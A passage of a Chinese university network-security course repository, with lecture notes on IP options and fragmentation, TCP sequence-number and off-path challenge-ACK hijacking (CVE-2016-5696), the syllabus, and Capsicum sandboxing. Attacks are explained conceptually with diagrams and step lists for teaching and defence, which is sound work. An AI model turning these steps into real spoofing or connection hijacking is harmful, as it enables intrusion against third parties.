提高应用安全、限制数据包传播:例如,通过设置TTL=255并检查,在BGP中限制直接邻居间会话; 118 | 119 | ### 1.4 协议、头部校验和、源地址、目的地址 120 | 121 | - 协议域没有特别的安全问题 122 | - 头部校验和:一些设备可能不检查校验和,导致可以被利用来“绕过”IDS 123 | - 源地址伪造,“一切罪恶的根源” :-) 124 | - 更多问题在后面的“编址”部分讨论 125 | 126 | ### 1.5 IP选项 127 | 128 | - 多字节选项,包含类型(1字节),长度(1字节),选项数据 129 | - 类型:1比特copied flag,是否将选项拷贝到所有分片中 130 | - 2比特option class:0控制,1保留,2调试和测量,3保留 131 | - 5比特option number 132 | - 单字节选项,只有类型字节:<0, 0>,“End of Option list”; <0, 1>, "No Operation" 133 | 134 | - LSRR (Type=131) 松散源路由与记录路由:源地址始终为最初发包者,目的地址在每一跳都更新为LSRR选项中下一地址 135 | - 最终接收者用LSRR选项以源路径的逆序来应答 136 | - 绕过防火墙规则、到达本来不可达目标、隐秘地建立TCP连接:目的地址并不是最终目的地址 137 | - 拓扑发现:记录路由 138 | - 带宽耗尽攻击:令一个包在几个设备间来回传递 139 | - 该选项应被禁止! 140 | 141 | ##### 一种利用LSRR来绕过防火墙的攻击方法: 142 | 143 | - 攻击者A冒充节点V(源地址欺骗),令目的IP地址为T的数据包经过A 144 | - T上的防火墙或应用以为是V来访问,T以A为中间节点将应答包发送给V 145 | 146 | ``` 147 | src dst LSRR 148 | | | | 149 | from V to T via A 150 | Attacker (A) —————————————————> Target (T) 151 | ^ | 152 | | from T to V via A | 153 | +—————————————————————————————————+ 154 | ``` 155 | 156 | 157 | - SSRR(Type=137)严格源路由与记录路由:与LSRR类似的安全问题 158 | - Record Route(Type=7):可用于发现拓扑 159 | - Timestamp(Type=68),记录处理数据包的时间戳,也可同时记录路由 160 | - 攻击者可获得目标的当前时间 161 | - 记录路由 162 | - 识别操作系统和设备(分析时钟漂移) 163 | - 应被禁止! 164 | 165 | 166 | ## 2. IP机制 167 | 168 | ### 2.1 分片重组(Fragment Reassembly) 169 | 170 | 分片重组相关问题基本都源自其功能的复杂性: 171 | 172 | - 端主机需要进行有状态操作,为分片分配缓冲;同时也,无法猜测分片需要多久到来 173 | - 重组超时时间在60秒到120秒之间 174 | - 攻击者可能估计伪造无法重组的分片,导致资源被故意耗尽 175 | - 当前可用带宽比以往更高,导致一些互操作问题, 176 | - 高带宽导致ID更容易重复,而不同包的分片发生碰撞,例如在1Gbps带宽下,1kb的UDP包,567字节分片,在0.65秒内会导致ID值重复 177 | - 重组过程复杂,分片可能乱序,重复,重叠,等等,导致实现存在Bug 178 | - 导致缓冲区溢出,可能会令系统崩溃 179 | - 分片重组算法不清晰,导致多种实现 180 | - 发生分片重叠时,不同实现可能采用第一个分片,最后一个分片,或其它某个分片 181 | - 不同实现采用不同超时时间 182 | - 当缓冲区满时,不同实现下会得到不同重组结果 183 | - 上述实现的差异,会导致IDS重组结果和主机重组结果存在差异,从而被利用来绕过IDS 184 | - 对策: 185 | - 专用缓冲区,(有选择地)清除缓冲区,减少分片超时时间 186 | - “Active Mapping”技术:令IDS有更多关于接收端的知识,避免被绕过 187 | 188 | ### 2.2 转发(Forwarding)与编址(Addressing) 189 | 190 | 转发: 191 | 192 | - 优先队列服务(Precedence-Ordered Queue Service)被攻击者利用来获得更好的服务 193 | - 带有非缺省TOS的Weak TOS的包会被按照该TOS对应的路由来转发;而通常的转发方式是“最长匹配” 194 | - 地址解析对缓冲管理的影响:向不存在主机发送大量数据包,导致接入路由器需要做ARP获得不存在主机的MAC地址,而同时要存储待转发的数据包;对策之一是“negative cache” 195 | - 丢包:当丢弃一个分片时,也应该丢弃该数据包中其它分片,否则会导致DoS攻击风险 196 | 197 | 编址: 198 | 199 | - 应过滤不可达地址,例如在公开互联网上的私有地址、回环地址、组播地址(224/4)、实验地址(240/4),广播(-1)和网络地址(0)等 200 | - 特殊地址:{<子网号>,<主机号>},`{0, 0}`(本网本机),`{0, 主机号}`,`{-1, -1}` (本地广播地址) 201 | 202 | --- 203 | 204 | 205 | -------------------------------------------------------------------------------- /network-security/supplements/IP-Traceback.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/network-security/supplements/IP-Traceback.pdf -------------------------------------------------------------------------------- /network-security/supplements/TCP-IP-Sec.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/network-security/supplements/TCP-IP-Sec.pdf -------------------------------------------------------------------------------- /network-security/supplements/anomaly.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/network-security/supplements/anomaly.pdf -------------------------------------------------------------------------------- /network-security/supplements/bro-slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/network-security/supplements/bro-slides.pdf -------------------------------------------------------------------------------- /network-security/supplements/tcp-hijacking.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/network-security/supplements/tcp-hijacking.pdf -------------------------------------------------------------------------------- /network-security/tcp-ip-sec.md: -------------------------------------------------------------------------------- 1 | # TCP/IP安全 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2016 4 | 5 | --- 6 | 7 | 阅读材料:[A Look Back at “Security Problems in the TCP/IP Protocol Suite” (ACSAC 2004)](supplements/TCP-IP-Sec.pdf) 8 | 9 | 作者Steven M. Bellovin在15年前(1989年)撰写了一篇关于TCP/IP协议族安全问题的论文。在2004年,撰写本文以反思之前的分析是对是错。 10 | 11 | 本节课学习这些安全问题,并了解一些最近的进展。 12 | 13 | ## 1. TCP序列号预测 14 | 15 | ### 初始序列号猜测攻击 16 | 17 | 参考资料: [RFC6528: Defending against Sequence Number Attacks (2012)](https://tools.ietf.org/html/rfc6528) 18 | 19 | - 客户端C与服务器S之间正常TCP三次握手: 20 | 21 | ``` 22 | C——>S : SYN(ISN_C) —————> +——————+ 23 | S——>C : <———— SYN(ISN_S), ACK(ISN_C+1) |Server| 24 | C——>S : ACK(ISN_S+1) —————> +——————+ 25 | ``` 26 | 27 | - 攻击者X伪装为可信主机T与服务器S通信: 28 | 29 | ``` 30 | X——>S : SYN(ISN_X), SRC=T —————> +——————+ 31 | S——>T : <———— SYN(ISN_S), ACK(ISN_X+1) |Server| 32 | X——>S : ACK(ISN_S+1), SRC=T —————> +——————+ 33 | ``` 34 | 35 | - 如何猜测序列号`ISN_S`? 36 | 37 | - 最早的TCP协议标准RFC793中,为减少旧连接中的分段被新连接接收的几率,建议全局32比特ISN生成器以1/4ms的速度单调递增 38 | - 若攻击者先连接一次并观察`ISN_S`,就可以已很高的可信度来预测下一次连接的`ISN_S'` 39 | - 1985年,Morris首次描述了通过预测TCP初始序列号ISN来伪装成一台受害主机,可攻破基于IP地址的访问控制/认证服务,例如Berkeley的rlogin和rsh (目前已被废弃) 40 | 41 | - 如何防御这一攻击? 42 | 43 | - 简单的随机化ISN尽管会避免这一攻击,但许多协议栈实现都依赖ISN单调递增规律来用启发式方法区分新旧分段 44 | - 一种方法是在随机化ISN的同时,要记录旧连接信息,但会增加系统状态 45 | - RFC6528方案: 46 | - `ISN = M + F(sip, sport, dip, dport, secretkey)` 47 | - `M`是4ms计时器,`F()`是一个伪随机函数(密码学哈希函数) 48 | - `secretkey`在重启时、一段时间后、充分使用后,需更换 49 | - 攻击者先连接一次获得的ISN用处不大,因为`sip`和`sport`与受害者不同 50 | 51 | ### Blind In-Window Attacks 52 | 53 | #### 在传统TCP上的攻击 54 | 55 | ``` 56 | +—————+ +—————+ +—————+ 57 | |SPORT|—————>|SEQ# |—————>|ACK# | 58 | +—————+ +—————+ +—————+ 59 | | | | 60 | v v v 61 | exists? Reset Hijacking 62 | ``` 63 | 64 | 攻击者向一个TCP连接插入报文来打断连接或注入恶意数据: 65 | 66 | - 攻击者知道TCP四元组(主要是源端口`SPORT`),实施SYN攻击,重置连接 67 | - +额外知道落在接收窗口内的序列号`SEQ#`,实施RST攻击,重置连接 68 | - ++额外知道ACK号`ACK#`,实施DATA攻击注入数据 69 | - 上述攻击可能实现,因为许多TCP长连接,例如BGP会话,的四元组较易被猜测,且高带宽延迟乘积连接的接收窗口范围很大 70 | 71 | #### RFC5961的防御方案: 72 | 73 | 参考资料:[RFC5961: Improving TCP's Robustness to Blind In-Window Attacks (2010)](https://tools.ietf.org/html/rfc5961) 74 | 75 | ``` 76 | ————————————————————————————————————————————— 77 | SEQ# | Out-of-Win| In-Window | 78 | ——————————————————————————————— 79 | | ACK | Reset |Before RFC5961 80 | SYN ————————————————————————— 81 | | C-ACK | C-ACK | After RFC5961 82 | ————————————————————————————————————————————— 83 | 84 | ————————————————————————————————————————————— 85 | SEQ# | Out-of-Win| Exact | In-Window 86 | ————————————————————————————————————————————— 87 | | Drop | Reset 88 | RST ——————————————————————————————————————— 89 | | Drop | Reset | C-ACK 90 | ————————————————————————————————————————————— 91 | 92 | ————————————————————————————————————————————— 93 | | In-Apt-Win 94 | ACK# | Out-of-Win| In-Apt-Win| Challenge-Win 95 | ————————————————————————————————————————————— 96 | | Drop | Process 97 | DATA ——————————————————————————————————————— 98 | | Drop | Process | C-ACK 99 | ————————————————————————————————————————————— 100 | ``` 101 | 102 | - 挑战ACK包(C-ACK):接受方构造一个挑战,来确认一个数据包是否真的发送方来发送的 103 | - **当接收到一个SYN包时,发送一个C-ACK包(确认是否真的新连接)** 104 | - 当接收到一个RST包时, 105 | - 若序列号恰好为下一个待接收序列号(`RCV.NXT`),则重置连接 106 | - **若序列号在窗口内但不是RCV.NXT,则发送一个C-ACK包** 107 | - 对于合法发送方,根据挑战ACK号应答一个序列号正确的RST包 108 | - 对于攻击者,不会接收到挑战包,也就无法正确应答 109 | - 若序列号在接收窗口外,则丢弃 110 | - 当接收到一个DATA包时,从原接收窗口中划分出一个挑战窗口,减小了接收窗口 111 | - 若`ACK#`在接收窗口内,则处理数据包 112 | - **若`ACK#`在挑战窗口内,则发送C-ACK包** 113 | - 若接收+挑战窗口(原接收窗口)外,则丢弃 114 | - **C-ACK全局速率限制:为避免C-ACK机制占用过多资源,设定单位时间内C-ACK包数上限** 115 | 116 | #### 基于全局速率限制的攻击技术 117 | 118 | 参考资料:[Off-Path TCP Exploits: Global Rate Limit Considered Dangerous (USENIX Security 2016)](supplements/tcp-hijacking.pdf) [[online] 119 | (https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/cao)] 120 | 121 | **TCP旁路漏洞(CVE-2016-5696)**:Linux 3.6+(2012年9月发布)中全局系统变量C-ACK包数上限缺省为100/秒 122 | 123 | ``` 124 | 1 C-ACK 125 | Sender <——————————————— Reciever 126 | / ^ 127 | 99 C-ACK / / 128 | Attacker <———————/ / 129 | \———————————/ 130 | 100 bad packets 131 | ``` 132 | 133 | - 为利用每秒C-ACK包数上限的漏洞,下面每步攻击需在单位时间窗口内进行,因此预先与接收者的秒对齐,具体方法略。 134 | - 攻击步骤1:推测两点间是否有连接,即确定`SPORT` 135 | 1. 攻击者以发送方为源地址,以`SPORT`为源端口,发送一个SYN包 136 | - 若有连接,即SPORT猜测正确,则接收方发送一个挑战ACK包 137 | - 否则,攻击包被丢弃 138 | - 攻击者以自己为源地址,发送100个RST攻击包 139 | - 若有连接,则攻击者观察到99个挑战ACK包,因为之前已经用掉一个 140 | - 否则,攻击者观察到100个挑战ACK包 141 | - 攻击步骤2:推测`SEQ#`,与步骤1原理类似,但发送的是RST包 142 | 1. 以发送方为源地址,用猜测的`SEQ#`,发送一个RST攻击包 143 | - 若序列号在窗口内,则接收方发送一个挑战ACK包;否则,被丢弃 144 | - 以自己为源地址,发送100个RST攻击包 145 | - 若猜对,则观察到99个ACK包;否则,100个 146 | - 攻击步骤3:推测`ACK#`,与步骤1原理类似,但发送的是DATA包 147 | 1. 以发送方为源地址,用猜测的`ACK#`,发送一个DATA攻击包 148 | - 若`ACK#`在挑战窗口内,则接收方发送一个挑战ACK包;否则,被丢弃 149 | - 以自己为源地址,发送100个DATA攻击包 150 | - 若猜对,则观察到99个ACK包;否则,100个 151 | - 攻击效果与优化: 152 | - 蛮力:10^4(`SPORT`) x 10^9(`SEQ#`) x 10^9(`ACK#`) = 10^22 153 | - 新攻击:10^4(`SPORT`) + 10^9(`SEQ#`) + 10^9(`ACK#`) = 10^9 154 | - 中断攻击SSH:耗时~42秒,成功率96% 155 | - 劫持攻击Tor:耗时~61秒,成功率89% 156 | - 劫持攻击Web:耗时~81秒,仿冒成功率70% 157 | 158 | - 防御方案:随机,特别大,移除全局C-ACK速率限制(2016年7月Linux内核4.7上补丁) 159 | 160 | ## 2. 路由安全 161 | 162 | #### 源路由(source routing)攻击: 163 | 164 | - IP loose source and record route (LSRR) 选项(参考[RFC1812: Requirements for IP Version 4 Routers](https://tools.ietf.org/html/rfc1812))可指定包经过路径/返回路径,后面会具体学习 165 | - 防御:禁止LSRR 166 | 167 | 168 | #### 其他路由相关攻击 169 | 170 | - [RIP协议](https://en.wikipedia.org/wiki/Routing_Information_Protocol)中伪造路由消息 171 | - [ICMP](https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol)重定向攻击,目标不可达,TTL超时等等 172 | - [BGP安全](bgp-sec.pptx)后面课程会学习 173 | 174 | ## 3. “认证”服务器 175 | 176 | 一种替代基于地址的认证的方法是使用“认证服务器”。该认证服务器为客户提供认证服务,与其他服务器进行认证。显然,通过其他机器来实现认证不是好主意! 177 | 178 | ## 4. 龙出没 179 | 180 | - [finger协议](https://en.wikipedia.org/wiki/Finger_protocol)所提供的用户信息,例如姓名、电话号码,可能被口令破解器所利用 181 | - 电子邮件中发件人地址缺乏认证,邮件内容缺乏保护 182 | - 旧的[POP](https://en.wikipedia.org/wiki/Post_Office_Protocol)中,用户名和口令在一条命令中,容易被窃听或泄露 183 | - 现在推荐使用[IMAP](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol)-over-SSL,PGP,[DKIM](https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail) 184 | - FTP认证,匿名FTP 185 | - SNMP认证 186 | - 远程启动认证:RARP+TFTP,BOOTP+TFTP,DHCP 187 | - [DNS安全](dns-sec.pptx)后面课程会学习 188 | 189 | ## 5. 简单攻击 190 | 191 | - 局域网内:窃听,ARP欺骗,广播风波(1个ICMP echo触发N个reply) 192 | - TFTP无认证 193 | - 特权端口只能被分配给特权进程,但以此作为认证机制的一部分并不安全 194 | 195 | ## 6. 全面防御 196 | 197 | - 认证:密码学与TCP/IP结合 198 | - 加密:链路级加密,TCP 199 | - [可信系统(Trusted System)](https://en.wikipedia.org/wiki/Trusted_system):用于实现特定安全策略的系统 200 | 201 | ## 7. 结论与反思 202 | 203 | - 1989年互联网简单的多,友好的多。今天的关键问题不是认证(authentication),而是授权(authorization):如何知道某一方是否允许行使某一行为? 204 | - 多数安全问题源于有bug的代码 205 | - 攻击通常需要一些辅助数据。只能创建一个TCP连接的攻击者不能猜测正确的序列号 206 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # 网络与信息安全(2016-2021) 2 | 3 | 4 | 哈尔滨工业大学 5 | 张宇 6 | 7 | - 网络与信息安全(硕士研究生课程,秋季学期,2016 ~) 8 | - 互联网基础设施安全(硕士研究生课程,春季学期,2019 ~) 9 | 10 | 部分参考课程: 11 | 12 | - [MIT 6.858 Computer Systems Security](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014/index.htm) 13 | - [Stanford CS155 Computer and Network Security](https://crypto.stanford.edu/cs155/) 14 | - [UCBerkley CS161 Computer Security](http://inst.eecs.berkeley.edu/~cs161/fa16/) 15 | - [UCBerkley CS261N Internet/Network Security](http://www.icir.org/vern/cs261n/) 16 | 17 | 课件:[https://github.com/YuZhang/Security-Courseware](https://github.com/YuZhang/Security-Courseware) 18 | 19 | 教学大纲: 20 | 21 | 1. [安全概述](introduction.md) 22 | 2. [缓冲区溢出](buffer-overflow) 23 | 1. [原理与实验](buffer-overflow/buffer-overflow-1.md) 24 | 2. [漏洞利用](buffer-overflow/buffer-overflow-2.md) (Shellcode) [[实验材料]](https://pan.baidu.com/s/1c1AV0Bm) 25 | 4. [攻防技术](buffer-overflow/buffer-overflow-3.md) (Baggy, BROP) 26 | 2. [系统安全](system-security) 27 | 1. [特权分离](system-security/privilege-separation.md) (OKWS) 28 | 2. [能力与沙箱](system-security/capabilities-sandbox.md) (Capsicum) 29 | 3. [移动系统安全](system-security/ios-security.md) (Apple iOS, Pegasus) 30 | 3. [密码学与应用](crypto) 31 | 1. [密码学原理](crypto/crush-course.pdf) ([密码学原理本科课程课件](https://github.com/YuZhang/cryptography/),包含[中文讲义](https://github.com/YuZhang/cryptography/tree/master/lecturenotes-Chinese)) 32 | 2. [SSL/TLS安全](crypto/tls.md)(BEAST, CRIME, POODLE, 3HS...) 33 | 4. [Web安全](web-security) 34 | 1. [Injection,XSS与CSRF](web-security/web-sec-1.md) 35 | 2. [Phishing与Clickjacking](web-security/web-sec-2.md) 36 | 5. [网络安全1](network-security) 37 | 1. [TCP/IP安全1](network-security/tcp-ip-sec.md) (TCP Hijack) 38 | 2. [TCP/IP安全2](network-security/ip-sec.md) (Idle Scan, LSRR) 39 | 4. [入侵检测系统(IDS)](network-security/ids.md) (Bro,ML-based Anomaly Detection) 40 | 6. [网络安全2 - 互联网基础设施安全](internet-security) 41 | 1. [互联网基础设施安全课程简介](internet-security/intro.pptx) 42 | 2. [互联网体系结构与安全](internet-security/arch-sec.pptx) (from D. Clark "Design an internet") 43 | 3. [DNS安全](internet-security/dns-sec.pptx) (Root issue, Cache Poisoning, DNSSEC) (新幻灯片PART [1](internet-security/dns-sec-1.pptx), [2](internet-security/dns-sec-2.pptx), [3](internet-security/dns-sec-3.pptx), [4](internet-security/dns-sec-4.pptx), [5](internet-security/dns-sec-5.pptx), [6](internet-security/dns-sec-6.pptx)) 44 | 4. [BGP安全1](internet-security/bgp-sec.pptx) (Prefix Hijack, RPKI,ICANN OCTO RPKI技术分析[译文](internet-security/RPKI技术分析-1209.pdf),BGPSec)(新幻灯片PART [1](internet-security/bgp-sec-1.pptx), [2](internet-security/bgp-sec-2.pptx), [3](internet-security/bgp-sec-3.pptx), [4](internet-security/bgp-sec-4.pptx)) 45 | 5. [BGP安全2](internet-security/sidr.md)(Blackholing against DoS,Route Leak,Opt-security,BCAB)(新幻灯片PART [5](internet-security/bgp-sec-5.pptx), [6](internet-security/bgp-sec-6.pptx), [7](internet-security/bgp-sec-7.pptx), [8](internet-security/bgp-sec-8-BCAB.pdf)) 46 | 6. [匿名通信](advance/anonymous.md) (Crowds, Mix, Tor and deanonymization) ([幻灯片](advance/supplyments/anonymous.pptx)) 47 | 7. [物理基础设施测量](advance/infrastructure.md)(Mapping facilities and IXP) 48 | 8. [比特币](advance/blockchain.md) (Bitcoin, Selfish-mining,[Bitcoin研究综述](advance/bitcoin-sok.md))([幻灯片](advance/supplyments/bitcoin.pptx)) 49 | 9. [分布式拒绝服务(DDoS)](network-security/ddos.md) (Shrew, IP-Traceback)([幻灯片](network-security/ddos.pptx)) 50 | 10. [互联网体系演进与革命](internet-security/arch-discuss.pptx)(IPv6,NDN,evolution vs. clean-slate) 51 | 8. [总结](summary.md) 52 | 53 | -------------------------------------------------------------------------------- /summary.md: -------------------------------------------------------------------------------- 1 | # 总结 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2016 4 | 5 | --- 6 | 7 | ### 信任 8 | 9 | 10 | [Ed Gerck从信息论角度理解Trust(信任)](backup/Trust-as-Qualified-Reliance-on-Information.pdf): 11 | 12 | - “信息是未知的,信任是已知的”(“Information is what you do not expect and trust is what you know”) 13 | - “信任是一个信道的基本,但不能使用该信道从源传递到目的”(“Trust is that which is essential to a communication channel but cannot be transferred from a source to a destination using that channel”) 14 | - “信任是对所接收信息的依赖” (Trust is seen as “qualified reliance on received information”) 15 | - 信任与力量:“当一方比另一方力量大很多时,...,力量大的一方不需要信任力量小的,...,而力量小的需要信任力量大的” 16 | - 信任与控制:“信任,但还需验证”,“信任是一个开环控制过程,...,是对远程行动的依赖” 17 | -------------------------------------------------------------------------------- /system-security/capabilities-sandbox.md: -------------------------------------------------------------------------------- 1 | # 能力与沙箱 2 | 3 | 4 | ### 哈尔滨工业大学 网络与信息安全 张宇 2016 5 | 6 | --- 7 | 8 | 本课程首先学习基于能力安全和沙箱的概念;然后学习一种能力+沙箱方案Capsicum。 9 | 10 | ## 基于能力的安全 11 | 12 | ### 糊涂副手问题 13 | 14 | [环境权威(ambient authority)](https://en.wikipedia.org/wiki/Ambient_authority):这是目前主流的访问控制形式,指权威在一个环境中被隐式行使。 15 | 16 | 访问请求只需要给出对象的名字和操作,是否允许操作依赖于执行程序的全局属性,如身份或角色。例如,C语言里`open("filename", O_RDONLY, 0)`,其中`filename`本身不具有权威信息,这个操作是否可行依赖于环境权威。 17 | 18 | - 例如Unix中UID,GID机制 19 | - 防火墙根据IP地址/端口号来过滤流量 20 | - HTTP Cookie 21 | 22 | [糊涂副手问题(confused deputy problem)](https://en.wikipedia.org/wiki/Confused_deputy_problem):在环境权威系统中,一个“糊涂”的特权程序被其他用户/程序“欺骗”来滥用其权利,导致特权扩大。该概念在[The Confused Deputy (or why capabilities might have been invented) (1970)](http://people.csail.mit.edu/alinush/6.858-fall-2014/papers/confused-deputy.pdf)论文中提出。 23 | 24 | - 一个计算机安全例子:一个FORTRAN编译服务将用户指定的输入文件编译为指定的输出文件,并在一个账单文件中记录此次服务。一个恶意用户指定账单文件为输出文件来篡改账单,尽管该恶意用户并没有修改账单文件的权限。 25 | - 一个现实安全例子:超市里一个小偷将一个商品的条形码替换成更便宜商品的条形码。“糊涂的收银员“被欺骗直接扫描条码,并按更便宜商品价格收款。小偷的特权被扩大,收银员的特权被滥用。 26 | 27 | - 问:是编译器的问题?或收银员的问题?其他问题? 28 | - 编译器需要检查所有可能写入文件的权限与用户关系;收银员需要检查所有商品标签与商品是否相符;这能做到吗?有可能,但代价太大,容易有其他漏洞 29 | - 问题本质是难以明确特权:编译器执行承担双重角色:编译器拥有者和用户;超市收银员承担双重工作:根据标签确定价格,检查标签是否和商品相符 30 | 31 | ### 基于能力的安全 32 | 33 | [基于能力(capability)的安全](https://en.wikipedia.org/wiki/Capability-based_security) :一个能力是一个可交换但不可伪造的权威令牌(token),实现为一个引用(reference)指向一个受保护对象及相关访问权利(right)。 34 | 35 | **一个文件访问控制例子:** 36 | 37 | - `/etc/passwd` 是一个对象,但未说明权利 38 | - `etc/passwd + O_RDWR ` 是一个带有权利说明的对象,但未说明用户进程是否可以合法访问这些值 39 | - `int fd = open("/etc/passwd", O_RDWR);` 40 | - 变量`fd`是在该进程文件描述表中的一个文件描述符索引 41 | - 文件描述符所在的文件描述表在内核内存中,不能被用户程序直接更改 42 | - 文件描述符说明该进程确实可合法访问对象,是一个能力 43 | 44 | **进程间共享能力:** 45 | 46 | - 对于前两个不是能力的例子,若在进程间传递这些信息,会导致糊涂副手问题 47 | - 在基于能力的系统中,能力的传递需要操作系统来保证完整性 48 | 49 | **糊涂副手问题的解决方案:** 50 | 51 | - 对于糊涂编译器例子:用户向编译服务传递输入/输出文件被打开的文件描述符,而不是文件名;文件描述符可以看做是用户能力的一个凭证 52 | - 对于糊涂收银员例子:商品上的条形码若能被替换(伪造),则不能作为一种能力;一种解决方案是令条形码为包装的一部分,不可替换 53 | 54 | 注意:Capability-based security不同于[POSIX/Linux capabilities](http://man7.org/linux/man-pages/man7/capabilities.7.html),后者是对特权的细分。 55 | 56 | --- 57 | 58 | ## 沙箱 59 | 60 | [沙箱(sandbox)](https://en.wikipedia.org/wiki/Sandbox_(computer_security)):一种隔离运行程序的安全机制,常用于执行未测试或不可信程序,避免对操作系统或主机安全造成威胁,可被看做是虚拟化(virtualization)技术的一个特例。 61 | 62 | - [完全虚拟化的虚拟机](https://en.wikipedia.org/wiki/Virtual_machine):在虚拟硬件上模拟一个真实操作系统,客户机通过模拟器访问宿主机资源。宿主机与客户机操作系统可以不同。 63 | - 容器:一种操作系统级虚拟化实现独立应用容器,例如[LXC](https://en.wikipedia.org/wiki/LXC)和[Docker](https://en.wikipedia.org/wiki/Docker_(software))利用Linux内核的资源分离机制: 64 | - [namespaces](https://en.wikipedia.org/wiki/Linux_namespaces):轻量级进程虚拟化,令每个进程有不同系统视图;六个名字空间: 65 | - 挂载 (mnt):创建不同的文件系统布局 66 | - 进程号 (pid):隔离进程号,父名字空间可以看见子名字空间,兄弟名字空间之间隔离 67 | - 网络 (net):隔离网络栈,网络接口,iptables, 路由表等 68 | - 进程间通信(ipc):System V IPC, 消息队列 69 | - Unix时间戳(uts):主机名,域名 70 | - 用户ID(user):隔离UID/GID 71 | - `SHELL=/bin/sh unshare --fork --pid chroot "${chrootdir}" "$@"` 72 | - [cgroup (control groups)](https://en.wikipedia.org/wiki/Cgroups):隔离进程组的资源(CPU,内存,I/O,网络)使用 73 | - 资源限制:例如内存大小 74 | - 优先级:CPU份额,I/O吞吐量 75 | - 记账:测量资源使用 76 | - 控制:冻结,检查点,重启 77 | - 优点:轻量级,性能代价小,更多的虚拟机,更快的启动关闭 78 | - [jail](https://en.wikipedia.org/wiki/Operating-system-level_virtualization):一种操作系统级虚拟化 79 | - 例如限制文件系统访问的chroot 80 | - [FreeBSD jail](https://en.wikipedia.org/wiki/FreeBSD_jail)(chroot+网络限制) 81 | - `jail jail-path hostname IP-addr cmd` 82 | - 调用增强的chroot (无法用 “../../” 逃离) 83 | - 只能绑定socket到指定IP地址和授权端口 84 | - 只能与jail内进程通信 85 | - root被限制,例如不能载入内核模块 86 | - 优点:简单,不需要修改程序 87 | - 缺点:粗粒度,不能阻止访问网络或令宿主操作系统崩溃 88 | - [seccomp (Secure Computing Mode)](https://en.wikipedia.org/wiki/Seccomp):Linux内核中一种应用沙箱机制 89 | - 传统seccomp模式:进程只允许执行`exit()`, `sigreturn()`, 以及对已打开的文件描述符执行`read()` and `write()`, 而禁止其他系统调用 90 | - [seccomp-bpf](https://www.kernel.org/doc/Documentation/prctl/seccomp_filter.txt):程序自定义允许的系统调用(Linux内核3.5) 91 | - Mac OS X沙箱("Seatbelt")有类似功能 92 | - 基于规则的执行:通过一个明确的规则集来强制限制用户或程序访问(MAC),例如Linux安全模块(Linux Security Module,LSM)框架下的[SELinux](https://en.wikipedia.org/wiki/SELinux)和[Apparmor](https://en.wikipedia.org/wiki/Apparmor) 93 | - [基于角色的访问控制](https://en.wikipedia.org/wiki/Role-based_access_control):加入角色概念,可定义每个角色的权限(类似组的概念) 94 | - [类型增强(type enforcement)](https://en.wikipedia.org/wiki/Type_enforcement):加入域(domain),对应主体(如进程),和类型(type),对应客体(如文件)概念,描述域和类型的访问规则 95 | - [capability](https://en.wikipedia.org/wiki/Capability-based_security):通过token来表示程序所具备能力 96 | 97 | --- 98 | 99 | ## Capsicum 100 | 101 | 参考资料:[Capsicum: practical capabilities for UNIX (USENIX Security 2010) [local]](supplements/Capsicum.pdf) 102 | 103 | 一种轻量级操作系统能力和沙箱框架(for FreeBSD) 104 | 105 | - 通过增加内核组件和用户空间库来扩展UNIX API 106 | - 可逐渐修改应用程序来采用该框架 107 | - 需要微内核体系和纯消息传递设计 108 | 109 | ### 能力模式 110 | - 通过新的`cap_enter`系统调用设置一个进程凭据标记 111 | - 标记被所有后代进程继承,无法清除 112 | - 能力模式的进程无法访问全局名字空间(例如PID,文件路径,协议地址,IPC,系统时钟等等),例如文件系统和PID名字空间,以及若干系统管理接口(`/dev`, `ioctl`, `reboot`, `kldload`) 113 | - 受限的系统调用(`sysctl`, `shm_open`)只允许创建匿名内存对象;只能操作给定文件描述符下的对象 114 | 115 | ### 能力 116 | - 通过文件描述符(fd)表示 117 | - fd是不可伪造的授权token, 可被子进程继承或IPC传递 118 | - `cap_new`系统调用在一个存在的fd和一个权力(right)掩码上创建一个能力 119 | - 能力的权力通过内核`fget`检查,该函数负责将fd参数转换为系统调用时内核中引用 120 | - 能力通过fd作为`openat`等系统调用参数来传递,禁止绝对路径,“..”路径,`AT_FDCWD` 121 | - 通过`fexecve`使用setuid和setgid来禁止特权提升 122 | 123 | ### 运行时环境: 124 | - 通过`libcapsicum`库API创建沙箱 125 | - 通过`cap_enter`来切断对全局名字空间的访问 126 | - 关闭未授权的文件描述符 127 | - 通过`fexecve`来清洗地址空间 128 | - 沙箱返回一个UNIX domain套接字用于与主机通信,或获得额外权利 129 | 130 | ### 应用于TCPDUMP例子 131 | - `tcpdump`将一个模式编译为一个BPF过滤器,配置一个BPF设备为输入源,将捕到的包输出为文本 132 | - 沙箱化:先以环境特权获得资源,之后进入能力模式 133 | 134 | ```c 135 | + if (cap_enter() < 0) 136 | + error("cap_enter: %s", pcap_strerror(errno)); 137 | status = pcap_loop(pd, cnt, callback, pcap_userdata); 138 | ``` 139 | 140 | - 进一步改进,阻止从`stdin`读取,但允许输出 141 | 142 | 143 | ```c 144 | + + + + + + 145 | if (lc_limitfd(STDIN_FILENO, CAP_FSTAT) < 0) 146 | error("lc_limitfd: unable to limit STDIN_FILENO"); 147 | if (lc_limitfd(STDOUT_FILENO, CAP_FSTAT | CAP_SEEK | CAP_WRITE) < 0) 148 | error("lc_limitfd: unable to limit STDOUT_FILENO"); 149 | if (lc_limitfd(STDERR_FILENO, CAP_FSTAT | CAP_SEEK | CAP_WRITE) < 0) 150 | error("lc_limitfd: unable to limit STDERR_FILENO"); 151 | ``` 152 